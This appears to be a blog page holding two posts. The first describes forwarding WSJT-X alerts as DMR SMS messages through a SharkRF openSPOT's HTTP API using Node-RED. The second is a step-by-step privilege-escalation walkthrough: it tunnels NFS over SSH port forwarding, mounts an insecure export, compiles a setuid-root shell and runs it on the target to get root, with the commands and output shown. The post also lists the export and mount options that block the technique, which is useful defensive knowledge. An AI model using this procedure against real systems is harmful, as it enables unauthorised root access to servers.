WSJT-X alerts to MD-380 with the openSPOT HTTP API

DMR SMS alerts using the SharkRF openSPOT with Node-RED

I recently acquired a SharkRF openSPOT for use as a hotspot to connect to the Brandmeister DMR network with my MD-380 DMR radio as I have no easily accessible repeaters nearby to use for DMR.

I have nothing but good things to say about this device, it works very well, the UI is simple to use, reported bugs are fixed very quickly and new features added with new firmware. The icing on the cake is it is a very accessible device with a HTTP and UDP API to interact with! I’ve only toyed with some features in the HTTP API but happy with what I’ve seen so far.

The first use I came up with for it was receiving DMR SMS messages to my MD-380 from my existing WSJT-X & Node-RED setup. The status-dmrsms API allows us to receive and send SMS messages over the local RF link to our connected DMR radio by specifying its DMR ID. This functionality works exactly as described in the API documentation now and if you follow it you will get a beer.

BEER

BEER from the SharkRF openSPOT HTTP API

In order to get this working in to Node-RED a flow was needed to handle authentication. As described in the Login Process, we need to hash our openSPOT password with a provided token to get a digest for use in all communication to the API, this digest is valid for 60 minutes.

The flow below shows the authentication process it as set up at the moment.

Node-RED openSPOT API Login

Node-RED openSPOT API Login

The inject at the beginning just sends a time stamp, which is unused, to start this flow off on Node-RED start-up and every 30 minutes thereafter. After the login is posted some global variables are set with the login status, the token and the digest if authentication was successful. This should hopefully tick away to ensure we will have a valid digest to hand at all times.

The posting of messages is easy and exactly as documented in the API description. With the digest already in a global variable from the login process above, we take any text input, limit it to 75 characters, convert to UTF16BE HEX and post it in the correct format for our radio. The full flow including the message input from WSJT-X is pictured below.

Full flow for using the openSPOT API

Full flow for using the openSPOT API

The inject function in the send flow is just there for testing purposes to insert a test message manually and the success function at the end just writes the status to the debug console.

With the above all set up we just wait for the DX to light up our DMR radio with an SMS message, the image below shows this on an earlier version of the same flow.

WSJT-X alerts to MD-380 with the openSPOT HTTP API

WSJT-X alerts to MD-380 with the openSPOT HTTP API

Alerts from Node-RED via Twitter or IRC might be easier but at least with the above it is all contained on the RF side and doesn’t need the Internet 🙂

It has been running for a few days now and seems to be working fine. I’ll try and wrap it all up in a more easily deployed function if I get the time but if anyone wants the nasty code before then just drop me a line.

NFS Pivoting Via SSH For Easy Privilege Escalation And More

It’s easy to take advantage of insecure NFS mounts to escalate privileges on a system you have user level SSH access to without introducing any tools to the remote system by tunneling our NFS traffic and having our source appear to be that of the target server. This can be done without direct network access to the NFS server and does not require us being defined in the exports access control list. If the NFS server was directly accessible and mountable from our location we would just do this the normal way and mount directly.

In this instance the set-up might be a Linux server that has a mounted NFS export without root_squash or secure set and is mounted without the nosuid or noexec option. This situation is not that uncommon in NFS heavy environments.

We also do not need to be able to route directly to the NFS server from our attacker location so it being in an inaccessible or firewalled zone doesn’t cause a problem. By tunnelling the NFS connection using SSH port forwarding we will be assuming the identity of the target server so if an export is available to it, it’s available to us!

The three systems described in the scenario are as below, the NFS server is only accessible to the target system here.

      +----------+   +--------+   +------------+
      | Attacker |-->| Target |-->| NFS Server |
      +----------+   +--------+   +------------+

Firstly check the mounted file systems on the target system with the mount command looking for an already mounted NFS export that you have read access to and is not mounted with the nosuid/noexec options:

nfs-filer:/export/filesystem1 on /filesystem1 type nfs (rw,addr=1.2.3.4)

Take a note of the IP address of the NFS server and also take note of other exported file systems that may be available to the target but not mounted using showmount -e.

Back on the attacker system, ssh to the target and port forward the local NFS port 2049 to the remote NFS server port 2049 via the target.

attacker # ssh -L 2049:NFS-Server-IP:2049 ouruser@target

Now as long as the above was successful, on the attackers system as root we locally mount the chosen export using our forwarded port.

attacker # mount -v -t nfs -o port=2049,tcp localhost:/export/filesystem1 /mnt/filesystem1

Now on the attacker system we check that we can access the contents of /mnt/filesystem1 and that we have write access as root by creating a file and checking the owner on the target system, this should be owned by root.

attacker # touch /mnt/filesystem1/.nfstest

target $ ls -l /filesystem1/.nfstest
-rw-r--r-- 1 root root 0 Mar 14 01:49 /filesystem1/.nfstest

Now back on the attacker host we can chmod +s this file to check suid files can be created and we should hopefully see the following:

attacker # chmod +s /mnt/filesystem1/.nfstest

target $ ls -l /filesystem1/.nfstest
-rwsr-sr-s 1 root root 0 Mar 14 01:49 /filesystem1/.nfstest

Now if we want to take advantage of this on the attacker system we can do something like the following to create a suid binary, this can be compiled on the remote file system or the attacker system depending on the circumstances.

attacker # cat suidsh.c
#include
int main() { setuid(0); setgid(0); execl(/bin/sh, sh, NULL); }
attacker # gcc -o /mnt/filesystem1/.nfstest suidsh.c
attacker # chmod +s /mnt/filesystem1/.nfstest

Now head on over to the target system and do the deed:

target $ ls -l /filesystem1/.nfstest
-rwsr-sr-s 1 root root 0 Mar 14 01:49 /filesystem1/.nfstest
target $ id
uid=1000(luser) gid=1000(luser) groups=1000(lusers)
target $ /filesystem1/.nfstest
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1# #bingo :)

Even if the above fails due to root squashing, nosuid or some other reason we still have access to the contents of the exported file system via our tunnelled mount which in itself might provide enough win.

Another thing we can do is to mount file systems that are available to the target system even if they are not mounted by the target. It’s always worth having a look around for other NFS exports or servers that might be available to the Target that can be tunnelled in this way.

A few NFS export options can be set to prevent the above, the use of the secure option will require connections come from a port below 1024 meaning our mounting as a normal user using an SSH tunnel would not work. The use of root_squash which is a common default now would also prevent us becoming root, however we may still be able to become or alter another users content which might lead to root privileges. The local mount options of nosuid and noexec would prevent suid files and executable files on the mount but again there may be other ways to escalate depending on the file system contents.

The above will also not work if ssh port forwarding has been disabled, however with shell access on the target system we can just do this another way if needs be. We could also do a lot of the above with user space tools introduced to the target system but I prefer solutions that do not require uploading tooling to systems wherever possible.